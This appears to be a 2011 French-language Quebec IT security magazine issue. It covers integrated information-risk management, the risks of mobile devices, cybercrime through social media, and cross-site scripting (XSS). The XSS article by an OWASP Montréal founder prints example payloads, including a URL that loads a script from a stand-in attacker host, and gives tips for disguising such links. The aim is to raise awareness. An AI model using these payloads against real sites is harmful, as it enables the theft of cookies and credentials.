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risque entre en jeu. Une vision intégrée favorise la prise de
décision pour l’entreprise.

D’ailleurs, certains professionnels de Landry et asso-
ciés donnent des cours universitaires sur la gestion du risque
de l’information. Ils y abordent plusieurs disciplines d’entre-
prises qui englobent les risques d’information : SI, risques
opérationnels, risques financiers, protection de renseigne-
ments personnels, conformité légale et réglementaire, conti-
nuité des affaires, etc.

QUELS TYPES DE SERVICES VOTRE FIRME OFFRE-T-ELLE ?
Elle propose essentiellement des services-conseils

pour l’accompagnement, les analyses de risque, la rédaction
de guides et politiques, l’élaboration de stratégies d’affaires,
la planification financière avec le rendement de l’investisse-
ment, la rédaction de plans de communication, la sensibilisa-
tion, la formation et la mise en place de la gouvernance. 

Elle réalise aussi des projets de TI, par exemple des
architectures de sécurité, de la gestion de projets et de pro-
grammes ainsi que des mandats de conformité et d’auto-
évaluation dans un contexte de gestion du risque. En plus de
la gestion du risque de l’information, l’offre se complète main-
tenant avec l’ajout de services de performance d’entreprise :

■ GESTION DU RISQUE
Sécurité et risque de l’information
Risque opérationnel
Protection de renseignements personnels et d’entreprises
Sensibilisation à une culture de risque
Continuité des affaires et gestion de crise
Conformité légale et réglementaire

■ GESTION DE LA PERFORMANCE
Gouvernance et leadership
Stratégie d’affaires et cible d’investissements
Gestion de programmes et de projets 
Conception et optimisation des processus
Tableau de bord et indicateur de performance
Gestion de tiers et de fournisseurs
Formation et coaching

Le plus souvent, les mandats sont effectués en entre-
prise et s’étendent sur des périodes plus ou moins longues,
en fonction de l’envergure du besoin du client. L’équipe de
Landry et associés ne cherche pas le volume à tout prix. Elle
vise plutôt une approche personnalisée. Son objectif est tou-
jours de bien comprendre d’où vient le client et où il va pour
s’assurer de bien le servir. La qualité des services est primor-
diale. L’organisation met l’accent là-dessus.

EN QUOI SE DISTINGUE-T-ELLE DE LA CONCURRENCE ?
Je crois qu’elle se démarque par son approche

favorisant une vision intégrée du risque et l’aspect multidis-
ciplinaire de son expertise. C’est un avantage pour les clients
de regarder un problème sous tous ses angles et c’est de
cette façon qu’ils peuvent avoir le meilleur rendement de l’in-
vestissement.

À QUELLE CLIENTÈLE VOS SERVICES S’ADRESSENT-ILS ?
En ce moment, le secteur financier représente la

majeure partie de la clientèle, car il est en quelque sorte un
chef de file en gestion du risque de l’information. Cependant,
de plus en plus d’entreprises grandes et moyennes décou-
vrent l’importance de la gestion du risque et de la perfor -
mance et font appel aux services de Landry et associés. Ce
domaine touche toutes les industries : des compagnies d’as-
surances aux entreprises manufacturières en passant par
les ministères et organismes publics. 

Les clients de la firme sont principalement localisés à
Montréal et à Québec, mais ses services sont offerts partout
au Québec. De plus, sa discipline est exportable, alors une
expansion hors Québec est possible à moyen terme.
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LES ENTREPRISES QUÉBÉCOISES 
ET L’AVENIR DE LA SI

QUE CONSTATEZ-VOUS AU SUJET DE LA SI AU QUÉBEC ?
Le Québec a été un précurseur en matière de protec-

tion de renseignements personnels en étant la première
province à mettre en place une loi à ce sujet et les entreprises
et organisations québécoises ont fait de grands pas au cours
des dernières années. 

Cependant, la SI est une discipline très jeune. Si l’on
regarde l’évolution des équipes de sécurité dans les entre-
prises, elles sont passées de quelques individus à des groupes
et maintenant à des directions principales et à des vice-
 présidences en peu de temps. Je me plais à croire que c’est la
persévérance des professionnels en SI et les nombreux mes-
sages passés au cours des dernières années qui ont finale-
ment été entendus. Par contre, ce n’est pas une finalité.

Parallèlement à la SI, le domaine de la gestion du risque
d’entreprise a aussi progressé durant ce temps. On constate
d’ailleurs qu’un nombre grandissant d’entreprises se dotent
d’une fonction stratégique de gestion du risque.

QUE NOUS RÉSERVE L’AVENIR DE LA SÉCURITÉ ET À QUEL
ENJEU DEVRIONS-NOUS ACCORDER PLUS D’IMPORTANCE ?

Le plus grand pas a été franchi en ouvrant le dialogue
avec les secteurs d’affaires. De plus en plus, il faut voir tous
les aspects de la sécurité avec une vision intégrée du risque.
Aujourd’hui, c’est un atout. Demain, ce sera une nécessité.

Il faut également mettre de la valeur sur la table pour
« rejoindre » les affaires. La gestion de la performance est un
aspect qui sera incontournable dans le futur. Je parle ici de dis-
ciplines telles que la planification, la stratégie, la gouvernance,
les processus, les communications et les tableaux de bord.

La gestion du risque en SI est un domaine encore très
qualitatif. On doit travailler à devenir quantitatif (les histo ri -
ques, la sévérité des incidents, leurs fréquences, etc.) comme
on le voit dans le monde de l’assurance. Il faut passer d’un art
à une science.

Un des principaux conseils que je donne aux dirigeants,
c’est de savoir bien planifier. Une entreprise doit savoir où elle
va en ce qui concerne la SI, comment son argent est dépensé
et quel est le rendement de l’investissement.

La sécurité n’est plus seulement un enjeu des TI. Il faut
élargir la vision et voir au-delà de cette seule discipline, car la
sécurité touche toute l’entreprise, ses processus et ses  
em ployés. Je prends le cas de l’hameçonnage. À la base, les
entre prises géraient ce risque par les technologies (filtre anti -
pourriel, antihameçonnage, etc.). Par la suite, elles ont
 constaté qu’elles n’y arrivaient pas seulement grâce à ces
outils. Elles ont donc revu les processus d’affaires à risque et
accentué les efforts de sensibilisation auprès des utilisateurs
afin de réduire davantage le risque à la base du problème : la

crédulité humaine. Pour y arriver, le problème a dû être pris en
charge par les TI, les affaires et les communications, en uti -
lisant une vision intégrée du risque !

EST-CE QUE LES ENTREPRISES ET ORGANISATIONS
PUBLIQUES GÈRENT ADÉQUATEMENT LE RISQUE 
DE L’INFORMATION ?

Les entreprises et organisations investissent géné ra -
lement beaucoup en TI et, principalement pour cette raison,
la sécurité dans sa dimension des TI bénéficie actuellement
de bonnes ressources humaines et financières. Là où il y a
fréquemment une faiblesse, c’est dans la prise en charge du
risque de l’information au sens des affaires. De là l’impor-
tance d’avoir une vision intégrée de l’entreprise où chaque
secteur possède ses particularités et doit atténuer le risque
où il est présent.

QUELS SONT LES PRINCIPAUX RISQUES DE L’INFORMATION
QUE VOUS VOYEZ CHEZ VOS CLIENTS ?

Tout est une question de pondération et dépend des
secteurs d’activité. 

Les clients sont conscients de cette problématique et
demandent conseil à un professionnel du domaine. Le rôle du
conseiller est justement d’identifier les principaux risques,
 d’évaluer les priorités et d’élaborer une stratégie d’intervention.

La SI est une forme de risque opérationnel. Souvent,
c’est un risque dont la probabilité est assez faible, mais dont
les impacts peuvent être élevés. Il s’agit là d’un risque difficile
à gérer, au même titre que les risques de sinistres naturels.

QUELLES SONT LES ACTIONS QUE PEUVENT FAIRE LES
ENTREPRISES ET QUELS SONT LES MOYENS QUI OFFRENT
UN MEILLEUR RENDEMENT DE L’INVESTISSEMENT ?

L’action qui offre un meilleur rendement de l’inves tis -
sement est celle qui est de nature préventive, celle que l’on
planifie. Un bon exemple dans le domaine de la SI est le pro -
cessus de gestion des accès : chaque dollar investi en amont
évitera d’en dépenser davantage dans des actions correc-
tives sans valeur ajoutée. De plus, la gestion préventive
appor tera des avantages d’efficacité et d’efficience à l’entre-
prise et pas uniquement aux TI ou à la SI. 

D’une perspective générale, les dirigeants d’entreprise
doivent baser leurs décisions sur la considération que le
 dollar qui n’est pas investi aujourd’hui en prévention coûtera
beaucoup plus cher en correction dans l’avenir. C’est une
question de planification efficace ! g

«Actuellement, le plus grand risque des
entreprises est d’ignorer où elles vont, ce qui
peut leur arriver, quand cela peut leur arriver

et comment se protéger.»

Suite de la page 10
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Ce matin, après sa présenta-
tion, Paul a eu un peu de temps pour
profiter d’un café offrant un accès
Internet sans fil d’où il a envoyé
quelques courriels. Demain, il pren-
dra l’avion pour aller présenter les
conclusions d’un autre projet pour un
autre de ses clients. Il s’agit cette fois
d’une grande entreprise québécoise
qui l’envoie à Toronto.

Pourquoi raconter cette his-
toire ? Aujourd’hui, dans son eu pho -
rie, Paul a tout simplement oublié son
équipement informatique sur un
siège. Qui le trouvera ? Et que lui
 confiera l’ordinateur de Paul ?

GARE AU TRAIN-TRAIN QUOTIDIEN !
Chaque jour, plusieurs données

voyagent rapidement. Por ta bles,
assistants numériques personnels,
téléphones intelligents, tablettes et
autres outils électroniques permet-
tent à l’information de se disséminer.
Expédiée d’ici. Consultée là-bas. On
dit d’ailleurs que l’information a le
don d’ubiquité. On est loin, très loin,
des salles blanches et de l’informa-
tique centralisée des organisations
des années 70 !

L’avènement de la mobilité
informatique bouleverse donc le tra-
ditionnel périmètre de sécurité des
entreprises que les accès distants
avaient déjà commencé à percer

depuis de nombreuses années. Peut-on imaginer 
les dommages que pourraient faire aujourd’hui cer-
tains équipements, dont la puissance est inverse-
ment proportionnelle à leur taille, entre des mains
malveillantes ? D’autant plus que les courriels et
leurs fichiers joints recèlent souvent de précieuses
informations. Et ils sont souvent munis d’accès dis-
tants automatisés à des ressources internes de
 l’entreprise !

UNE AFFAIRE DE PERCEPTION
On entend souvent dire que la sécurité est

 l’affaire de tous. Dès lors, tout le monde en parle.
Cependant, dans ce domaine, rares sont ceux qui
savent quoi en faire. D’autres vont jusqu’à prétendre
que la sécurité informatique ne les concerne pas.
Vous sentez-vous visé ?

Goûtez à la mobilité
en toute
sécurité
PAR CHRISTOPHE REVERD, 
président d’Auditia 

E X P E R T I S E

Paul est consultant en technologies de l’information
(TI) à son compte. Hier, il a peaufiné durant son trajet
en train, de son domicile en banlieue au bureau de
son client, les premières conclusions d’un rapport
qu’il doit aller lui présenter. Il lui arrive aussi parfois
de prendre l’avion pour visiter certains bureaux
régionaux de ses clients.

Pionnier d’Internet en France,
Christophe Reverd est aujour-
d’hui membre de l’Association
québécoise des informaticiennes
et informaticiens indé pendants
(www.Aqiii.org) et président
d’Auditia (www.Auditia.ca), 
la compagnie de consultation 
en sécurité de l’information et
d’architecture de réseaux qu’il
a fondée à Montréal en 2007. 
Il détient les certifications
 professionnelles CISA, CISSP 
et ISSMP ainsi qu’un diplôme
d’études supérieures spécia -
lisées (DESS) de second cycle
en gouvernance, audit et
 sécurité des technologies de
l’information de l’Université 
de Sherbrooke où il donne le
cours de gouvernance des
technologies de l’information
(DAT823).

Suite en page 13
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NE DEVENEZ PAS 
LE MAILLON LE PLUS FAIBLE !

Chaque organisation, dans son rôle de client et de four-
nisseur, constitue un maillon d’une chaîne au sein de laquelle
l’information circule librement sous différents formats (élec-
tronique, papier, verbal). En 2011, chaque individu est une
partie intégrante de cette chaîne.

L’application des meilleures pratiques de sécurité vous
permet de fortifier le niveau de protection.

Utilisez un logiciel permettant de chiffrer automatique-
ment votre disque dur. En regard de la valeur de l’information
à protéger, ces solutions sont maintenant nombreuses et
accessibles à tous. Il en existe même pour utilisation indivi -
duelle. Lorsqu’elles sont utilisées sur un ordinateur récent, le
ralentissement est négligeable (de 3 à 5 %). Certaines permet -
tent aussi de chiffrer les clés USB et autres supports magné-
tiques tels que vos éventuels DVD d’archivage.

Ces solutions permettent également de protéger les
docu ments où qu’ils soient sur le disque dur et pas seulement
ceux dans tel ou tel répertoire. Elles ne dispensent toutefois
pas de faire des sauvegardes régulièrement et idéalement
hors site. N’oubliez pas qu’outre la divulgation d’information
en cas de perte ou de vol, vous allez devoir gérer le recouvre-
ment de vos documents. Vous connaissez ces tâches in -
 grates remises souvent au lendemain ? Jusqu’au jour où...

PENSEZ À L’INFONUAGIQUE !
Vous n’avez plus de raison de ne pas être protégé. Le

nuage et ses nombreux services en ligne vous permettent
maintenant facilement et à moindres coûts de sauvegarder
vos données en ligne. Voyez ces services comme un excel-
lent moyen de rapidement reprendre le cours normal de vos
activités, même après le vol ou la perte de votre équipement.
Bien entendu, à ce niveau, des mesures de protection
doivent aussi être mises en place pour assurer la confiden-
tialité de vos données lorsqu’elles quittent votre équipement.
Heureusement, des solutions sont là pour y veiller.

Enfin, et bien que cela ne soit pas très technologique,
veillez à limiter l’accès des regards indiscrets qui scrutent
votre écran dans le train ou l’avion lors de la rédaction de
courriels ou de documents. Comment ? Premièrement, évi tez
de travailler sur des documents confidentiels dans de telles
conditions. Deuxièmement, munissez-vous d’un filtre proté -
geant votre confidentialité en réduisant l’accès à votre écran
à toute personne qui n’est pas en face. Bien entendu, il est
important de toujours conserver votre équipement informa-
tique à vos côtés et bien en vue lors de vos déplacements et
de le raccorder lorsque possible à une station d’accueil ou à
un élément fixe de votre bureau. Parlez-en à Paul. g

Dans le cas fictif de Paul, par manque d’information, ce
consultant a pris des risques vis-à-vis de la protection de
 l’information contenue sur son équipement informatique, et
ce, sans même en avoir été conscient. Fort d’un mot de passe
pour limiter l’ouverture d’une session de Microsoft Windows,
Paul se sentait sans doute suffisamment à l’abri pour enre -
gistrer de nombreux documents tant personnels que profes-
sionnels sur son disque dur.

Pourtant, nul besoin de connaître son mot de passe
pour percer ses mystères. De petits utilitaires offerts gratui -
tement sur Internet permettent de parcourir un disque dur et
d’en visualiser le contenu sous forme de liste de documents
qu’il suffit ensuite de copier vers un autre volume comme
une simple clé USB par exemple.

Lorsqu’il est nécessaire d’exécuter une application
installée sur le poste, assigner un nouveau mot de passe à
partir d’un CD-ROM ou même d’une clé USB sans même en
connaître le mot de passe courant est presque un jeu d’en-
fant. Ne vous sentez donc pas plus protégé de ce point de
vue.

Avec un peu de chance, Paul, qui n’aime pas perdre de
temps, aura automatisé quelques-unes de ses connexions à
distance, ouvrant dès lors l’accès à son réseau local à toute
personne ayant accès à son ordinateur...

Ce n’est pas tout. En ce qui concerne les portables et la
majorité des téléphones intelligents, l’un des points d’intérêt
est le logiciel de messagerie électronique et les courriels
dont il regorge. Il suffit souvent de récupérer le fichier dans
lequel les courriels sont enregistrés pour pouvoir les consul-
ter facilement à partir d’un autre ordinateur. À moins que l’uti -
lisateur n’ait chiffré ses archives. 

Vous me direz sans doute que vos courriels n’ont guère
d’importance, mais qu’en est-il de ceux de vos clients et
partenaires d’affaires qui sont également enregistrés dans
votre logiciel à chaque réception ou envoi d’un courriel ?

« Avez-vous déjà estimé la valeur 
de votre équipement informatique mobile
(portable, assistant numérique, tablette) 
en incluant la valeur de l’information qu’il

 contient ? Vous êtes-vous déjà demandé à
combien vos clients (ou votre employeur)

estimeraient la valeur de l’information
 enregistrée sur vos équipements ? 

Si oui, avez-vous pris les mesures pour les
protéger adéquatement en conséquence ?

Avez-vous adopté des comportements 
pour éviter de les compromettre ?»

Suite de la page 12
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Selon le Centre francophone
d’informatisation des organisa-
tions (CEFRIO), « le total des
achats en ligne s’est chiffré à
4 304 millions de dollars en 2010,
contre 3 400 millions en 20091 ».
Plusieurs organisations tentent
donc d’utiliser les médias sociaux
pour obtenir une part du gâteau
virtuel, accroître leur visibilité et
offrir de nouvelles options aux
clients ciblés. Cependant, ce mar -
ché entraîne certains problè mes
concrets, présentés ci-après, de
cybercriminalité et de cybersécu-
rité en affaires. 

LES OUTILS DE LA CYBERCRIMINALITÉ 
La cybercriminalité comprend plusieurs élé-

ments et peut recourir à des moyens techniques ou
humains pour arriver à ses fins. Dans le premier cas,
il s’agit de la mise en place d’outils informatiques, tels
que des logiciels malveillants, de piratages informati -
ques ciblés, d’hameçonnages, et ce, dans une pers pec -
tive de vol, de destruction, de blocage ou de modifica-
tion de données. Dans le second cas, il s’agit de l’uti -
lisation de l’être humain pour obtenir de l’information
ou des données sur des personnes ou des organisa-
tions ciblées afin de commettre un acte malveillant
ou criminel. 

En plus d’être utilisées simultanément, ces
deux formes de cybercriminalité peuvent être liées à
des objectifs divers comme l’espionnage industriel, le
leurre, le vol d’identité, le vol de données par l’entre -
mise d’une tierce personne comme un employé
(menace, chantage, pot-de-vin), le terrorisme, le
blanchiment d’argent, la vente de produits crimina -
lisés, la diffamation, le détournement de fonds, les
crimes contre la personne (traite humaine, agression
sexuelle, enlèvement, cyberpédophilie), la cyber -
intimidation, le cyberharcèlement. 

LA CYBERCRIMINALITÉ S’ADAPTE
La cybercriminalité s’adapte selon ses buts et

cibles. Ainsi, il n’y a pas qu’une seule méthode pour
commettre un crime ou un acte malveillant sur
Internet. Cet aspect de la cybercriminalité a un impact

C Y B E R C R I M I N A L I T É

Julie Horn est une politologue 
spécialisée en gestion de
risques, sécurité, cybercrimes,
médias  sociaux et relations
internationales. Consultante 
à son compte, elle a travaillé
quelques années pour le gou-
vernement du Québec comme
analyste,  conseillère et
 consultante. Passionnée par 
la  sécurité sur le Web, elle
possède une maî trise et a
entrepris un  doctorat sur 
l’utilisation d’Internet comme
arme par  certains groupes
malveillants.

Cybercriminalité
et cybersécurité :
comment s’y retrouver?
PAR JULIE HORN, 
consultante en sécurité humaine sur les médias sociaux

Les entreprises québécoises doivent mieux comprendre la cyber-
criminalité et la cybersécurité. C’est une question de protection et
de prospérité. Si l’augmentation considérable des achats en ligne
fait rêver plusieurs entrepreneurs, certaines règles de sécurité en
ligne doivent être respectées. À tout prix.

Suite en page 15
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PROBLÈME DE SÉCURITÉ PUBLIQUE : LES BLOGUES 
ET LES SITES WEB

Chaque entreprise désire apporter son petit plus sur
les médias sociaux et le Web. Ce peut être par une vitrine
virtuelle, par l’offre d’options pour le consommateur concer-
nant les produits, les services, les paiements par Internet et
les appareils mobiles ou par des informations diffusées par
des blogues ou différentes plateformes telles que Facebook,
Linkedin, Twitter.

L’entreprise qui transmet de l’information en ligne sur
ses produits et services ou sur des sujets connexes doit
 s’assurer que le contenu diffusé respecte les lois et les règle-
ments en vigueur dans le pays où elle est installée. La con-
naissance des limites de ses droits et de ses devoirs dans le
vaste monde virtuel est donc impérative.

PREMIER EXEMPLE

L’organisation W, qui œuvre dans le domaine du cinéma,
décide de faire un coup d’éclat par une publicité sur le Net. Pour
ce faire, elle crée un blogue en misant sur le côté sombre des
effets spéciaux. En voulant démontrer l’effet spectaculaire de
ses produits et services, elle conçoit une fiction sur le Web afin
de démontrer la qualité de son travail. Même si l’organisation a
indiqué sur son blogue qu’il ne s’agit pas de la réalité, les
responsables ont eu des problèmes avec la justice. Pourquoi ?
Parce qu’une plainte a été déposée au vu du sujet traité et que
l’entreprise contrevenait à certaines lois en vigueur. 

Dans ce cas précis, il aurait été pertinent de faire une
vérification juridique et d’établir une stratégie virtuelle per-
mettant à l’organisation de faire sa promotion dans le respect
des lois. Cette précaution aurait évité que des personnes, en
dehors de la clientèle cible, ne soient offusquées et ne dé po -
sent des plaintes et elle lui aurait également permis de mieux
cibler ses clients potentiels et d’user d’une meilleure stra té -
gie pour se faire connaître auprès d’eux en tant qu’entreprise
sérieuse. 

DEUXIÈME EXEMPLE

Afin d’augmenter sa visibilité sur le Web, l’organisation X
du domaine touristique décide de mettre en place un site où
ses clients ont la possibilité de diffuser en ligne les photos de
leurs voyages. Comme elle n’a pas de système de modération
sur son site, elle n’est pas en mesure de contrôler les images
qui y sont déposées. Bientôt, elle reçoit des plaintes de sa
clientèle et s’aperçoit que certaines photos ne respectent pas
les lois et règlements du Québec et du Canada. Certaines font
même la promotion d’actes et de produits illégaux. 

Dans ce cas précis, la mise en place d’une structure sécu-
ritaire aurait permis à l’entreprise de prévoir les problèmes pou-
vant survenir afin que sa réputation et son image soient nettes
et qu’elle ne soit aux prises avec des problèmes juridiques. 

« En cybersécurité, il n’existe pas de 
“pilule miracle” qui peut répondre au besoin

large de tous ceux qui utilisent Internet. 
C’est pourquoi il est important que chaque

 entreprise définisse ses besoins.»

important sur les organisations québécoises qui utilisent
Internet. En effet, il devient beaucoup plus ardu pour elles de
cerner l’ampleur des problématiques qui se rattachent à leur
utilisation d’Internet et des médias sociaux. D’ailleurs, les
problèmes de sécurité seront différents selon la sorte d’en-
treprise et l’utilisation qu’elle fait d’Internet. 

Une organisation du domaine financier fera face à des
risques différents par rapport à celle qui se spécialise dans
le domaine des rencontres amoureuses. Pourtant, chacune
pourrait avoir des objectifs similaires comme l’augmen -
tation de sa visibilité et de son marché par les médias
 sociaux.

LES PROBLÈMES DE LA CYBERSÉCURITÉ 
La cybersécurité est un concept large et complexe qui

peut être difficilement compréhensible pour les personnes
qui naviguent sans connaître la complexité des actes mal -
veillants et criminels potentiels. Pour mieux les reconnaître,
voici deux problèmes et quatre exemples tirés de faits vécus
par des entreprises ayant eu quelques difficultés de cet
ordre. Évidemment, pour des raisons de confidentialité, des
modifications ont été apportées aux comptes rendus.
Toutefois, les problèmes de fond correspondent à la réalité.
Ils peuvent toucher plus d’une organisation québécoise uti -
lisant les médias sociaux et le Web en général.

Suite en page 16
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PROBLÈME DE SÉCURITÉ POUR L’ENTREPRISE : 
LES EMPLOYÉS 

Avec la croissance de l’utilisation des médias sociaux,
le phénomène de la « vie personnelle-professionnelle »
devient de plus en plus ambigu. Cet aspect fait croître la dif-
fusion d’information qui peut entacher la réputation ou les
stratégies concurrentielles de certaines organisations. 

Le problème peut venir de l’image diffusée par les em -
ployés ou par des informations qu’ils donnent sur leur travail ou
sur l’entreprise. Il peut également être causé par un scandale ou
une dispute « à l’interne » qui dégénère sur les médias sociaux
ou par une amitié qui cache la présence d’un concurrent
malveillant. Il peut aussi dépendre de la présence de per-
sonnes qui donneront leur avis sur l’entreprise de façon exces-
sive, d’ex-employés mécontents ou de concurrents déloyaux
qui utiliseront les médias sociaux pour faire du tort ou pour
voler, acheter ou vendre des informations de façon illégale. 

TROISIÈME EXEMPLE

L’organisation Y vend différents produits et services
sur le Web et dans la vie réelle. En vérifiant sa réputation en
ligne quotidiennement, elle se rend compte qu’un employé
critique de façon assez sévère l’entreprise, allant même
jusqu’à faire la promotion d’un blogue créé pour la juger néga-
tivement. En faisant quel ques recherches, les responsables
se rendent compte que le pseudonyme employé pour le
blogue appartient, en fait, à l’employé. 

Dans ce cas précis, si l’organisation n’avait pas fait de
veille sur sa réputation, elle n’aurait pas découvert qu’un de
ses employés utilisait le Web pour exprimer son mécontente-
ment. À la suite de ce constat, elle a procédé à une réflexion
quant aux dispositions à prendre envers son employé et a
ajusté ses directives internes sur le plan de la prévention et
du règlement des conflits « à l’interne ». 

QUATRIÈME EXEMPLE

En faisant une vérification interne des entrées et sor-
ties de ses employés, l’entreprise Z se rend compte qu’un
employé revient au travail en soirée, depuis plusieurs
semaines, et qu’il repart tard dans la nuit. En poussant plus
loin leurs vérifications, les responsables constatent que l’em-
ployé utilise les ordinateurs de l’organisation pour faire des
rencontres virtuelles sexuelles par des sites Web spécialisés
et les médias sociaux tout en utilisant le bureau pour réa liser
certains fantasmes. 

Dans ce cas précis, les problèmes engendrés par un
tel comportement doivent être pris au sérieux. D’abord, la
réputation et l’image de l’entreprise sont en jeu. Ensuite,
l’uti lisation de son matériel et des accès non sécurisés
posent problème. Le recours à une webcam non autorisée
permet de voir une certaine partie interne des bureaux et
entraîne la possibilité d’un piratage ou d’un chantage
envers l’employé en question en fonction de sa position
stratégique au sein de l’organisation ou des informations
qu’il peut donner. De plus, s’il ouvre la porte de son bureau
à des « non-employés », l’entreprise peut faire face à
d’autres problèmes de sécurité. Si l’organisation est dans le
domaine financier ou politique, les répercussions peuvent
être d’autant plus grandes. 

La cybercriminalité n’est donc pas exclusivement
une question de piratage informatique ou de logiciels
malveillants. Bien que la vérification de ces types de
cybercrimina lité soit importante, les autres formes de
menaces doivent aussi faire partie des préoccupations des
entreprises. La solution est souvent dans la prévention des
dangers. La  consultation de spécialistes permet de consi -
dérer les possibilités et de faire des choix sécuritaires
 pertinents.   g

1. Blogue CEFRIO : Annie Couture, Les achats en ligne continuent de progresser en 2010. Centre francophone d’informatisation des organisations,
18 janvier 2011. [En ligne] http://blogue.cefrio.qc.ca/tag/indice-du-commerce-electronique (page consultée en février 2011).
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QU’EST-CE QUE LE XSS ?
Le XSS est une faille présente sur un site Web. Elle permet à un individu malicieux d’in-

sérer du code qui sera exécuté sur le poste d’un utilisateur visitant un site vulnérable. Dans
la plupart des cas, cet utilisateur est en confiance et ne se méfie pas des attaques, d’autant
plus qu’elles sont fréquemment très subtiles.

MISE EN SITUATION
Quelqu’un transmet ses coordonnées sur un site de commerce électronique afin de

faire livrer un achat. En appuyant sur « commander », le serveur détecte que la personne a
oublié d’insérer une information dans un champ. Toutes les données déjà soumises dans le
fureteur s’affichent alors à nouveau, avec une étoile rouge près de la zone oubliée. Utile,
n’est-ce pas ?

Toutefois, qu’advient-il si un individu malicieux insère
un JavaScript au lieu de l’adresse courriel de l’uti lisateur dans
l’espace approprié et que le serveur ne valide pas le contenu
menaçant ? Le JavaScript est alors retourné et exécuté
dans le fureteur de ce même utilisateur. La présence d’une
faille XSS sur ce site est alors confirmée. 

L’ A B C DU XSS
L’exploitation d’un site qui présente une faiblesse par

rapport au XSS est fort simple et se résume en quelques
étapes :

■ trouver un site vulnérable au XSS (facile à repérer, car
présent dans la plupart des sites Web d’entreprises,
et les outils de balayage automatisés détectent
généralement ces failles) ;

■ injecter un contenu malicieux exécutable dans un
fureteur dans l’un des paramètres (JavaScript, PHP,
Flash, etc.) ;

■ envoyer l’URL malicieuse à une victime potentielle (http://www.example.com?nom=
<script>alert(xss)</script>).
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Le XSS est
un réel danger
pour les entreprises
PAR BENOÎT GUÉRETTE, 
fondateur – OWASP Montréal

S É C U R I T É  A P P L I C A T I V E

Benoît Guérette travaille dans 
le domaine des technologies
depuis quinze ans. En 2008, 
il a fondé la section OWASP-
Montréal et en a été le président
jusqu’en 2010. Il est directeur de
la sécurité et de la conformité
d’une entreprise œuvrant dans
le paiement électronique. Il
 possède les certifications GCIH,
GWAPT, GPEN et GSLC et se
 passionne pour la sécurité
applicative.

En 2011, le XSS (cross site scripting ou
<script>alert(xss)</script>) est encore
un fléau pour les organisations. Mais,
comment un conseiller en informatique
peut-il en convaincre les dirigeants ? En
les informant et en leur démontrant les
risques occasionnés par cette vulnérabi -
lité, souvent présente à plusieurs endroits
sur le site Web des entreprises. 

«Votre code 
postal ne devrait pas

contenir de  caractères
comme ‘<’, n’est-ce
pas ? Si ce type de

 caractères n’est pas
vérifié  correctement,
alors c’est un signe

d’absence de valida-
tion des  caractères

entrés et, par
 conséquent, d’une

possible faille 
XSS.»

Suite en page 18
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LE RISQUE DÉGUISÉ
Le XSS se manifeste par la fenêtre présentée ci-

dessus. Cet affichage qui semble inoffensif est justement
au cœur du problème. On ne s’en méfie pas ! Par contre, la
menace est concrète et dépend du script qui est injecté et
de tout ce qu’un attaquant est alors en mesure de faire sur
un site désarmé devant le XSS :

■ générer dynamiquement une fausse page d’authen-
tification pour voler des mots de passe ;

■ intercepter un processus de commande et récupérer
les informations personnelles et les numéros de
cartes de crédit des clients ;

■ afficher une fausse annonce de presse dommageable
pour l’entreprise ;

■ voler des témoins (cookies) ;
■ mettre en œuvre toute autre idée malicieuse selon

l’imagination que peut avoir un attaquant (l’utilisation
du HTTP POST ne bloque pas le XSS).

UN SIMPLE SITE WEB PRÉSENTE-T-IL UN DANGER ?
La plupart du temps, les gestionnaires croient que le

site Web de leur entreprise ne présente aucun risque sous le
prétexte qu’il n’est pas relié aux environnements de produc-
tion, ou l’on retrouve habituellement l’information sensible,
donc il ne représente pas une menace importante pour l’or-
ganisation.

Effectivement, le danger direct est limité, car les sys-
tèmes continueront à fonctionner et la production ne sera
pas entachée. Par contre, le risque sera indirect, car la faille
permettra à des personnes malveillantes d’attaquer dif-
férents individus ou de diriger les menaces. On peut imagi ner
les conséquences de l’envoi à des journalistes d’un lien qui
exploite un XSS sur le site d’une entreprise annonçant un
licenciement massif. 

Le principal danger d’une vulnérabilité au XSS sur le
site Web informationnel d’une entreprise est l’atteinte à sa
réputation et tous les torts qui en découlent.

INFORMER ET DÉMONTRER POUR CONVAINCRE 
LES DIRIGEANTS

Le XSS est une faille technique avec de multiples pos-
sibilités et vecteurs d’attaque. Par exemple, le XSS stocké
(stored XSS) sauvegarde le script malicieux pour l’afficher
ultérieurement, que l’on retrouve dans des consoles d’admi -
nistration Web ou des forums de discussion. Il est donc par-
fois complexe pour un gestionnaire de bien saisir l’étendue
des risques. Pour gagner son attention, rien de mieux qu’une
démonstration des menaces. 

Pour ce faire, le conseiller en informatique pourrait
exploiter un XSS et expliquer les différents scénarios de dan-
gers. Il devrait également élucider comment peut se perpétr-
er l’attaque et ce qui se produit lorsqu’un utilisateur ciblé
clique sur le lien http://www.example.com/?name=<script
src=”http://www.evilsite.com/xss.js”></script>. À première
vue, ce lien semble malicieux, mais selon le pu blic cible, on
pourrait encoder la portion malicieuse ou insérer des
paramètres bidon pour allonger l’URL afin d’enlever l’accent
visuel sur le script. De toute façon, il est fort probable que le
destinataire clique sur le lien, et ce, peu importe le contenu.

Les chances sont fortes qu’un gestionnaire d’entreprise
se sente concerné si, en cliquant sur une URL qui pointe vers
son domaine, il voit un message indiquant que son entre-
prise a été piratée et qu’en plus, c’est bel et bien le nom de
domaine de son entreprise qui est présent dans la barre
d’adresse de son fureteur. Il ne comprendra probablement
pas l’attaque, mais il constatera visuellement le problème.

Le conseiller en informatique prendra moins d’une
heure pour préparer la démonstration des menaces et
quelques secondes pour la présenter. Solution efficace ! Une
formation en sécurité applicative est alors importante.
D’ailleurs, la section montréalaise de l’OWASP organise d’ex-
cellentes conférences gratuites à ce sujet sur une base
régulière.

Pour de plus amples renseignements, voici quelques
liens utiles : http://ha.ckers.org/xss.html, http://holisticin-
fosec.blogspot.com/2008/12/online-finance-flaw-american-
express.html, http://www.owasp.org/index.php/Montreal.  g

«Le XSS est populaire grâce à 
sa facilité d’exploitation, car il n’y a aucune
attaque sophistiquée à faire. De plus, il fait

partie des failles les plus critiques de
l’OWASP depuis 2004.»
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La compagnie danoise Secpoint propose le miniportable
Penetrator destiné à automatiser les tests de vulnérabilité
et d’intrusion tant pour le réseau filaire que sans fil. Voici un
aperçu de l’utilité de ce produit en entreprise.

Le miniportatif 
Penetrator de 
SECPOINT,
un grand gardien de réseau!
PAR YANNICK LEPAGE, 
architecte de sécurité – DMR Conseil

P R O D U I T

Yannick Lepage travaille
comme architecte intégrateur
et architecte de sécurité pour 
la firme DMR Conseil.

Il possède plus de treize ans
d’expérience en informatique
dont six années comme
 consultant et trois à titre de
gestionnaire de réseaux et de
systèmes. CISSP depuis 2007, 
il s’est spécialisé en sécurité
